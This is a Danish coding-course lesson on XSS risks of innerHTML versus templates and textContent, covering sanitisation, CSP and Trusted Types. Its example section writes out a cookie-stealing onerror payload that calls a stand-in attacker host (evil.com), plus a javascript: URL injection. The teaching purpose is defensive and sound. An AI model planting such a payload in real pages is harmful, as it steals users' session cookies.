Skabeloner kontra innerHTML: sikkerhed
Forstå, hvorfor skabeloner er sikrere end at angive innerHTML
Skabeloner kontra innerHTML: sikkerhed er en gratis HTML Academy-lektion på CoddyKit. Dette er lektion 4 af 4. Du kan læse alle 3 lektioner i dette læringsspor gratis i deres fulde længde — derefter låser CoddyKit PRO alle lektioner op samt praktiske øvelser med en indbygget kodeeditor og en AI-underviser døgnet rundt. Den er en del af læringsforløbet i HTML Academy, og dine fremskridt synkroniseres på tværs af nettet og CoddyKit-appen. HTML Academy-kurset indeholder 4 lektioner i alt.
Risiko ved innerHTML-injektion
Hvis du angiver el.innerHTML = userInput, fortolkes strengen som HTML. Hvis userInput indeholder <script> eller hændelseshandlere som onerror, kører browseren dem — hvilket skaber en Cross-Site Scripting (XSS)-sårbarhed.
Eksempel på XSS via innerHTML
En angriber indsender et brugernavn: <img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">. Hvis dette gengives med innerHTML, udløses onerror, og sessionscookien sendes til angriberen. Tekstindhold bliver til eksekverbar kode.
textContent er sikkert
el.textContent = userInput behandler strengen som almindelig tekst — ingen HTML-fortolkning og ingen kørsel af scripts. Browseren escaper automatisk < og > i tekstnoder. Brug altid textContent til værdier, som brugeren leverer.
// SAFE
nameEl.textContent = user.displayName;
// DANGEROUS
nameEl.innerHTML = user.displayName;template-elementet undgår strengfortolkning
Når du bruger template.cloneNode(true), kommer strukturen fra en på forhånd fortolket HTML-template — ikke fra en streng leveret af brugeren. Når du angiver værdier via textContent på klonede noder, forbliver brugerdata i tekstnoder og aldrig i fortolket HTML. Struktur og data holdes adskilt.
Sanitering, når innerHTML er nødvendigt
Hvis brugere skal kunne levere HTML-formatering (rich text), skal du sanitere den, før du angiver innerHTML. DOMPurify er standardbiblioteket: el.innerHTML = DOMPurify.sanitize(richHtml). Det fjerner farlige tags og attributter, samtidig med at sikker formatering bevares.
Risiko ved insertAdjacentHTML
insertAdjacentHTML("beforeend", html) fortolker også HTML-strenge — med samme XSS-risiko som innerHTML. Anvend de samme saniteringsregler. Det sikrere alternativ er at oprette elementer med createElement, angive deres textContent og bruge appendChild.
Sikkerhed ved setAttribute
Angivelse af attributter med brugerdata kan skabe injektion: el.setAttribute("href", userUrl), hvor userUrl er javascript:alert(1), skaber en XSS. Kontrollér URL-skemaer: tillad kun http:, https: og mailto:, før du angiver href- eller src-attributter.
DOM-clobbering
DOM-clobbering er et angreb, hvor navngivne formelementer (id="getElementById") tilsidesætter globale JavaScript-variabler. Tilgå altid elementer via document.getElementById() i stedet for globale window-egenskaber. Content Security Policy begrænser også clobbering-angreb.
Trusted Types-politik
Trusted Types (i Chrome, håndhævet via CSP) kræver, at innerHTML, insertAdjacentHTML og lignende sinks modtager strenge, der er pakket ind af en politik. Rå strenge kan ikke tildeles — kun værdier, der er oprettet af en erklæret TrustedTypes-politik. Det forhindrer utilsigtet omgåelse af sanitering.
Sikkerhed med DocumentFragment
Det er i sig selv XSS-sikkert at oprette elementer med DOM-API'et (createElement, createTextNode) og manipulere dem i et DocumentFragment — tekst er altid tekst og aldrig fortolket HTML. DocumentFragments er den sikreste måde at opbygge kompleks dynamisk UI på.
Content Security Policy
En streng CSP (uden unsafe-inline og med nonce-baserede scripts) giver ekstra beskyttelse mod XSS. Selv hvis en angriber injicerer HTML, forhindrer CSP de injicerede scripts i at køre. CSP fjerner ikke behovet for sanitering — det er et sikkerhedsnet, ikke det primære forsvar.
Videnstjek
Hvorfor er textContent sikrere end innerHTML ved gengivelse af data, som brugeren leverer?
Opsummering
innerHTML og relaterede API'er fortolker HTML-strenge, hvilket skaber XSS-sårbarheder, når brugerdata indsættes uden sanitering. Brug af textContent, kloning af templates med udfyldning via textContent, DOMPurify til rich text og Content Security Policy skaber et lagdelt forsvar mod HTML-injektionsangreb.
Lær HTML med en AI-underviser — gratis
Skriv og kør rigtig kode i din browser, få øjeblikkelig hjælp fra en AI-underviser døgnet rundt, og fortsæt, hvor du slap, på web eller i appen.
- Kurser
- 40
- Lektioner
- 159
Ofte stillede spørgsmål
Er lektionen “Skabeloner kontra innerHTML: sikkerhed” gratis?
Ja — alle 3 lektioner i læringssporet HTML Academy, inklusive “Skabeloner kontra innerHTML: sikkerhed”, kan læses gratis i deres fulde længde her på webstedet. Derefter låser CoddyKit PRO alle lektioner op samt interaktive øvelser med en indbygget kodeeditor og en AI-underviser døgnet rundt. HTML Academy-kurset indeholder 4 lektioner i alt.
Hvad lærer jeg i “Skabeloner kontra innerHTML: sikkerhed”?
Forstå, hvorfor skabeloner er sikrere end at angive innerHTML Du øver dig i HTML Academy med praktisk kode, som du kører direkte i browseren, og en AI-vejleder døgnet rundt besvarer dine spørgsmål, mens du arbejder dig gennem lektionen.
Skal jeg have erfaring for at begynde på HTML Academy?
Der kræves ingen tidligere erfaring. HTML Academy på CoddyKit er tilrettelagt for både begyndere og øvede, så du kan starte her eller fra begyndelsen og lære i dit eget tempo. Dette er lektion 4 af 4.
Hvor lang tid tager lektionen “Skabeloner kontra innerHTML: sikkerhed”?
De fleste CoddyKit-lektioner tager cirka 5–10 minutter. Hver lektion er kort og interaktiv, så du gør løbende fremskridt og kan fortsætte, hvor du slap – på både web og app.
Kan jeg skrive og køre kode i denne HTML Academy-lektion?
Ja. Alle HTML Academy-lektioner har en indbygget kodeeditor, så du kan skrive og køre rigtig kode direkte i din browser og få øjeblikkelig feedback fra AI – uden lokal opsætning.
Alle lektioner i dette kursus
- template-elementet: inaktivt indhold
- Kloning af skabeloner med cloneNode
- Brug af template til rendering med JavaScript
- Skabeloner kontra innerHTML: sikkerhed